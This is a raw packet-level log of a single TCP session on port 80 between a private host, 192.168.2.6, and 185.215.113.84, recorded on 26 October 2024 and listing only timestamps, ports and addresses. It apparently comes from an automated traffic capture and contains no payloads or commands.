Oct 26, 2024 07:27:11.710654020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710664034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710670948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710685968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710705996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710710049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710726976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710732937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710742950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710748911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710757971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710776091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710901976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710916996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710941076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710944891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710953951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710958004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710974932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710983038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.710990906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.710997105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711015940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711036921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711066008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711081028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711095095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711103916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711112022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711117983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711127996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711136103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711142063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711146116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711163044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711163044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711180925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711185932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711193085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711196899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711213112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711227894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711230993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711245060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711251974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711261034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711271048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711277962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711282015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711292028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711292982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711311102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711324930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711334944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711348057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711360931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711363077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711384058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711386919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711395979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711404085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711416960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711424112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711432934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711447001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711447001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711448908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711467981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711473942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711486101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711491108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711510897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711519957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711528063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711544037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711555004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711560011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711575031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711581945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711590052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711590052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711606979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711607933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711622000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711627960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711636066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711637974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711652040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711659908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711668968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711675882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711684942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711695910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711700916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.711705923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711724043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.711730003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.753273964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.753299952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.753313065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.753326893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.753396034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.754647970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.763648033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763725042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763737917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763787985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.763802052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.763839960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763871908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763886929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763911963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.763943911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.763948917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763964891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763981104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.763993979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.764003992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.764012098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.764027119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.764029980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.764043093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.764053106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.764072895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.764086962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797086954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797164917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797179937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797194958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797218084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797219038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797235012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797251940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797256947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797269106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797276020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797301054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797318935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797324896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797339916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797354937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797370911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797378063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797386885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797406912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797426939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797440052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797461987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797477961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797492981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797502041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797511101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797521114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797528982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797544003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797544003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797569990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797583103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797595978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797597885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797616005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797630072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797632933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797652960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797652960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797666073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797676086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797691107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797693968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797700882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797705889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797712088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797723055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797734022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797738075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797758102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797763109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797771931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797777891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797794104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797797918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797808886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797816992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797836065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797843933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797843933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797851086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797875881 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797880888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797899008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797899961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797914982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797919989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797938108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797939062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797952890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797955036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797971010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797972918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.797993898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.797996998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798008919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798012972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798029900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798029900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798046112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798048973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798060894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798067093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798077106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798077106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798098087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798101902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798114061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798119068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798135042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798136950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798151970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798152924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798166037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798168898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798186064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798197031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798201084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798206091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798216105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798230886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798232079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798247099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798248053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798263073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798264980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798273087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798280001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798290968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798295021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798309088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798310995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798316956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798327923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798336983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798343897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798355103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798358917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798366070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798374891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798383951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798392057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798402071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798408031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798413992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798424959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798430920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798451900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798465014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798512936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798544884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798568010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798583031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798604012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798619986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798619032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798635960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798650980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798657894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798667908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798677921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798677921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798707008 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798753977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798768044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798782110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798789978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798799992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798806906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798820972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798824072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798840046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798846006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798856974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798863888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798872948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798882961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798901081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798918009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798938990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798940897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798945904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798955917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798970938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.798976898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.798986912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799007893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799022913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799030066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799038887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799058914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799062967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799081087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799098969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799236059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799273968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799274921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799287081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799305916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799319029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799376965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799391985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799405098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799415112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799422979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799433947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799438953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799449921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799468994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799485922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799490929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799504995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799520016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799525023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799537897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799540997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799554110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799555063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799576998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799597979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799638033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799666882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799676895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799681902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799702883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799721956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799942970 CEST	80	49991	185.215.113.84	192.168.2.6
